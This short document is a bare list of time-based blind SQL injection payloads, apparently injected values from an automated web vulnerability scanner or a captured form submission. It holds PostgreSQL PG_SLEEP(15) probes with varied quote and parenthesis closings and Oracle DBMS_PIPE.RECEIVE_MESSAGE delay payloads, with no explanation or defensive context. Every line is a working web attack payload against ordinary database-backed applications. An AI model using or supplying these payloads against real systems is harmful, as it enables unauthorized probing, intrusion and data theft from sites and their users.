555-1 OR 532=(SELECT 532 FROM PG_SLEEP(15))--

555-1) OR 145=(SELECT 145 FROM PG_SLEEP(15))--

555-1)) OR 743=(SELECT 743 FROM PG_SLEEP(15))--

555m3R0gXSc' OR 174=(SELECT 174 FROM PG_SLEEP(15))--

555wpLjTMxH') OR 389=(SELECT 389 FROM PG_SLEEP(15))--

555YundRM5x')) OR 975=(SELECT 975 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)

555